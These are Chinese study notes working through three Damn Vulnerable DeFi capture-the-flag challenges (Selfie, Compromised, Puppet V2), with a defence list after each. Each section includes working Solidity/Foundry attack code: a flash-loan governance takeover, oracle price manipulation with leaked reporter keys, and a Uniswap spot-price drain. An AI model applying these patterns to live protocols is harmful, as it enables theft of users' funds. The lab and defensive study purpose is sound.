返回 SC 笔记
SC Day 88

Solidity/Security: DVDF冲刺 - 2-3道新题

### DeFi 攻击分类法

2026-07-05
第四阶段:综合实战
DVDFDamnVulnerableDeFi安全攻击闪电贷治理攻击

日期: 2026-07-05 方向: Solidity 阶段: 第四阶段:综合实战 标签: #DVDF #DamnVulnerableDeFi #安全 #攻击 #闪电贷 #治理攻击


今日目标

Damn Vulnerable DeFi (DVDF) 是最知名的 DeFi 安全挑战集,每道题模拟一个真实的 DeFi 漏洞场景。今天完成3道题:

  • #6 Selfie: 治理攻击 + 闪电贷
  • #7 Compromised: 预言机操纵
  • #9 Puppet V2: 价格操纵 + DEX 交互

这三道题覆盖了 DeFi 中最常见的攻击类型,理解它们是 PM 评估协议安全性的基础。


核心概念

DeFi 攻击分类法

DeFi 攻击类型:
├── 代码级漏洞
│   ├── 重入攻击 (The DAO, 2016)
│   ├── 整数溢出 (BatchTransfer, 2018)
│   └── 授权缺失 (Wormhole, 2022)
│
├── 经济/逻辑攻击
│   ├── 闪电贷攻击 → 本题 #6 Selfie
│   ├── 预言机操纵 → 本题 #7 Compromised
│   ├── 价格操纵   → 本题 #9 Puppet V2
│   ├── 治理攻击   → 本题 #6 Selfie
│   └── 三明治攻击 (MEV)
│
└── 基础设施攻击
    ├── 私钥泄露 (Ronin, 2022)
    ├── 跨链桥攻击 (Nomad, 2022)
    └── DNS劫持 (BadgerDAO, 2021)

代码实战

挑战 #6: Selfie — 治理攻击 + 闪电贷

题目描述

一个借贷池通过 SimpleGovernance 合约管理。治理规则是: 持有代币总供应量50%以上的地址可以提交并执行提案。借贷池有一个 emergencyExit 函数,可以将所有资金转给指定地址,但只有治理合约能调用。

目标: 偷走借贷池中的所有代币。

漏洞分析

攻击向量分析:

1. 治理要求持有 50% 代币 → 正常情况下做不到
2. 但是! 借贷池提供闪电贷 → 可以临时获得大量代币
3. 闪电贷期间,我们"持有" > 50% 代币 → 可以提交提案
4. 提案调用 emergencyExit → 将所有资金转给攻击者
5. 还掉闪电贷 → 等待提案时间锁过期 → 执行提案

时间线:
┌──────────┐    ┌──────────┐    ┌──────────┐
│ 闪电贷   │    │ 等待     │    │ 执行     │
│ + 提交   │───►│ 2天      │───►│ 提案     │
│ 提案     │    │ 时间锁   │    │ = 偷钱   │
└──────────┘    └──────────┘    └──────────┘

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "../src/selfie/SimpleGovernance.sol";
import "../src/selfie/SelfiePool.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

contract SelfieAttacker is IERC3156FlashBorrower {
    SimpleGovernance public governance;
    SelfiePool public pool;
    address public attacker;
    uint256 public actionId;

    constructor(address _governance, address _pool) {
        governance = SimpleGovernance(_governance);
        pool = SelfiePool(_pool);
        attacker = msg.sender;
    }

    // ===== 步骤1: 发起闪电贷 =====
    function attack() external {
        // 借出池中所有代币
        uint256 poolBalance = pool.token().balanceOf(address(pool));
        pool.flashLoan(this, address(pool.token()), poolBalance, "");
    }

    // ===== 步骤2: 闪电贷回调 — 在此提交治理提案 =====
    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256,
        bytes calldata
    ) external override returns (bytes32) {
        // 此刻我们持有 > 50% 的代币供应量

        // 为治理合约创建快照
        DamnValuableVotes(token).delegate(address(this));

        // 构造提案: 调用 pool.emergencyExit(attacker)
        bytes memory data = abi.encodeWithSignature(
            "emergencyExit(address)",
            attacker
        );

        // 提交提案
        actionId = governance.queueAction(
            address(pool),
            0,
            data
        );

        // 归还闪电贷
        DamnValuableVotes(token).approve(address(pool), amount);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    // ===== 步骤3: 等待时间锁后执行 =====
    function executeAttack() external {
        governance.executeAction(actionId);
    }
}

测试代码

function test_selfie() public {
    // 部署攻击合约
    SelfieAttacker attackContract = new SelfieAttacker(
        address(governance),
        address(pool)
    );

    // 步骤1: 发起闪电贷 + 提交提案
    attackContract.attack();

    // 步骤2: 推进时间(模拟等待时间锁)
    vm.warp(block.timestamp + 2 days + 1);

    // 步骤3: 执行提案
    attackContract.executeAttack();

    // 验证: 攻击者获得了所有代币
    assertEq(token.balanceOf(address(pool)), 0);
    assertEq(token.balanceOf(attacker), POOL_INITIAL_BALANCE);
}

教训与防护

防护方案:
1. 治理快照应在提案前N个区块拍摄 (非提案时刻)
2. 闪电贷代币不应计入治理投票权
3. 时间锁期间允许紧急否决
4. 关键函数(emergencyExit)需要多签而非单一治理

挑战 #7: Compromised — 预言机操纵

题目描述

一个 NFT 交易所使用链下预言机报价。有3个预言机源(trusted reporters),中位数作为价格。NFT 当前价格 999 ETH。你有 0.1 ETH。你截获了一段可疑数据。

目标: 偷走交易所中的所有 ETH。

漏洞分析

截获的可疑数据 (hex):
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59
31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47
5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f
57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

解码过程:
1. Hex → ASCII: "MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5"
2. Base64 → Hex: "0xc678ef1aa...4735a9"
3. 这是一个以太坊私钥!

截获了2个预言机报告者的私钥 (3个中的2个 = 可以操控中位数)

攻击策略

攻击步骤:
1. 用泄露的私钥控制 2/3 个预言机
2. 将 NFT 价格设为 0.0001 ETH (极低)
3. 以极低价买入 NFT
4. 将 NFT 价格设为 交易所全部余额 (极高)
5. 以极高价卖出 NFT → 掏空交易所
6. 恢复预言机价格 (掩盖痕迹)

攻击代码

function test_compromised() public {
    // 解码私钥 (题目中截获的数据)
    uint256 oracleKey1 = 0xc678ef1aa...;  // 预言机1的私钥
    uint256 oracleKey2 = 0x208242c40...;  // 预言机2的私钥

    address oracle1 = vm.addr(oracleKey1);
    address oracle2 = vm.addr(oracleKey2);

    // 步骤1: 操纵价格为极低
    vm.prank(oracle1);
    oracle.postPrice("DVNFT", 1 wei);
    vm.prank(oracle2);
    oracle.postPrice("DVNFT", 1 wei);
    // 中位数 = 1 wei (3个源: [1, 1, 999 ETH])

    // 步骤2: 以 1 wei 买入 NFT
    vm.prank(attacker);
    exchange.buyOne{value: 1 wei}();

    // 步骤3: 操纵价格为交易所余额
    uint256 exchangeBalance = address(exchange).balance;
    vm.prank(oracle1);
    oracle.postPrice("DVNFT", exchangeBalance);
    vm.prank(oracle2);
    oracle.postPrice("DVNFT", exchangeBalance);

    // 步骤4: 以高价卖出
    vm.startPrank(attacker);
    nft.approve(address(exchange), tokenId);
    exchange.sellOne(tokenId);
    vm.stopPrank();

    // 步骤5: 恢复价格 (可选,避免被发现)
    vm.prank(oracle1);
    oracle.postPrice("DVNFT", 999 ether);
    vm.prank(oracle2);
    oracle.postPrice("DVNFT", 999 ether);

    // 验证
    assertEq(address(exchange).balance, 0);
    assertGt(attacker.balance, EXCHANGE_INITIAL_BALANCE);
}

教训与防护

防护方案:
1. 预言机私钥应使用 HSM (硬件安全模块)
2. 价格更新应有变化幅度限制 (如单次不超过 10%)
3. 使用 TWAP (时间加权平均价格) 而非即时中位数
4. 增加预言机源数量 (5个或7个)
5. 链下检测异常价格报告并触发暂停

挑战 #9: Puppet V2 — Uniswap V2 价格操纵

题目描述

一个借贷协议使用 Uniswap V2 的 pair 合约作为价格预言机,计算所需的抵押品。你需要通过操纵 Uniswap 的价格来以极少的抵押品借出大量代币。

目标: 偷走借贷池中的所有 DVT 代币。

漏洞分析

价格计算漏洞:

借贷合约使用 Uniswap V2 pair 的即时储备比计算价格:
  price = (reserveWETH * 10^18) / reserveDVT

攻击思路:
1. 在 Uniswap 上大量卖出 DVT → reserveWETH 减少, reserveDVT 增加
2. DVT 价格暴跌 → 借出 DVT 所需的 WETH 抵押品极少
3. 用极少的 WETH 借出借贷池中所有 DVT

价格操纵示意:
卖出前: reserveWETH=10, reserveDVT=100 → price=0.1 ETH/DVT
卖出后: reserveWETH=0.1, reserveDVT=10000 → price=0.00001 ETH/DVT
价格下降 10000 倍!

攻击代码

function test_puppetV2() public {
    vm.startPrank(attacker);

    // 步骤1: 将攻击者的 DVT 全部在 Uniswap 卖为 WETH
    uint256 attackerDVT = dvt.balanceOf(attacker);

    dvt.approve(address(uniswapRouter), attackerDVT);

    address[] memory path = new address[](2);
    path[0] = address(dvt);
    path[1] = address(weth);

    uniswapRouter.swapExactTokensForTokens(
        attackerDVT,
        0,              // 接受任何数量的 WETH
        path,
        attacker,
        block.timestamp
    );

    // 步骤2: 此刻 DVT 在 Uniswap 上的价格已经暴跌
    // 计算借出所有 DVT 需要多少 WETH 作为抵押
    uint256 poolDVT = dvt.balanceOf(address(lendingPool));
    uint256 requiredWETH = lendingPool.calculateDepositOfWETHRequired(poolDVT);

    // 步骤3: 将 ETH 包装为 WETH
    weth.deposit{value: requiredWETH}();
    weth.approve(address(lendingPool), requiredWETH);

    // 步骤4: 用极少的 WETH 抵押借出所有 DVT
    lendingPool.borrow(poolDVT);

    vm.stopPrank();

    // 验证
    assertEq(dvt.balanceOf(address(lendingPool)), 0);
    assertGt(dvt.balanceOf(attacker), 0);
}

教训与防护

防护方案:
1. 永远不要用 Uniswap 即时价格作为预言机!
2. 使用 Uniswap V2 的 TWAP (时间加权平均价格):
   - 累积价格 (price0CumulativeLast) 在多个区块上取平均
   - 攻击者无法在单笔交易中操纵 TWAP
3. 使用 Chainlink 等链下预言机
4. 多源价格聚合 + 偏差检测
5. 限制单笔借款额度

攻击模式总结

挑战攻击类型核心漏洞真实案例
#6 Selfie治理+闪电贷闪电贷代币计入投票权Beanstalk ($181M, 2022)
#7 Compromised预言机操纵预言机私钥泄露Mango Markets ($114M, 2022)
#9 Puppet V2价格操纵使用即时DEX价格Harvest Finance ($34M, 2020)

DeFi 攻击模式识别速查

看到这些模式,应该立即警觉:

🔴 使用 Uniswap/DEX 储备比作为价格
   → 价格操纵风险 (Puppet V2)

🔴 闪电贷代币可以用于治理投票
   → 治理攻击风险 (Selfie)

🔴 预言机源数量少 (< 5)
   → 预言机操纵风险 (Compromised)

🔴 单笔交易可以存款+借款
   → 闪电贷攻击风险

🔴 外部调用前没有更新状态
   → 重入攻击风险

🔴 approve 后未检查实际到账金额
   → fee-on-transfer 代币风险

关键要点总结

  1. 闪电贷是放大器: 闪电贷本身不是漏洞,但它放大了其他漏洞的影响。任何依赖"用户不可能拥有这么多代币"假设的设计都可能被闪电贷攻破。

  2. 预言机是 DeFi 的阿基里斯之踵: 超过50%的 DeFi 攻击涉及价格操纵。使用 TWAP + 多源 + 偏差检测是最低要求。

  3. 治理 != 安全: 治理合约被攻击的案例越来越多。关键操作需要额外的安全层(时间锁+多签+紧急否决)。

  4. 攻击者的思维方式: "这个系统的最弱环节在哪里?" → "我能用什么工具(闪电贷/DEX)放大这个弱点?" → "执行攻击的成本是多少?" 如果收益 > 成本,攻击一定会发生。

  5. 安全是分层的: 没有单一的银弹。需要: 代码审计 + 经济模型审查 + 运维安全 + 监控告警 + 应急响应。


常见误区

  1. 误区: 闪电贷应该被禁止 — 闪电贷是 DeFi 的创新,问题不在闪电贷本身,而在于协议对即时大额资金的依赖假设。

  2. 误区: 用了 Chainlink 就安全了 — Chainlink 防止了 DEX 即时价格操纵,但仍然需要处理: 过时价格、极端市场条件、Chainlink 节点故障。

  3. 误区: 时间锁就够了 — 时间锁只延迟了攻击的执行,不阻止攻击。Beanstalk 有时间锁但治理提案仍然被通过。需要在时间锁期间有人工监控和否决机制。


面试关联

Q: "描述一个你了解的 DeFi 攻击,以及如何防护"

回答 (以 Selfie 类攻击为例):

2022年的 Beanstalk 攻击是一个经典的闪电贷+治理攻击。攻击者通过闪电贷借入大量代币获得投票权,在同一交易中提交并执行恶意治理提案,将价值 $181M 的资金转到自己地址。

防护方案需要多层:

  1. 治理层: 投票权快照应在提案前N个区块拍摄,闪电贷代币不计入投票权
  2. 时间层: 关键提案需要较长的时间锁(至少48小时)
  3. 监控层: 异常投票模式(如突然出现大额投票者)触发告警
  4. 应急层: 多签委员会可以在时间锁期间否决恶意提案

作为 PM,我会确保产品设计中把治理安全作为核心需求,而不是"上线后再加"的功能。


参考资源

  1. Damn Vulnerable DeFi — 官方挑战网站
  2. Rekt News - Beanstalk — Beanstalk 治理攻击分析
  3. Rekt News - Mango Markets — 预言机操纵攻击
  4. Rekt News - Harvest Finance — 价格操纵攻击
  5. Uniswap V2 Oracle — TWAP 实现
  6. OpenZeppelin Governor — 安全的治理框架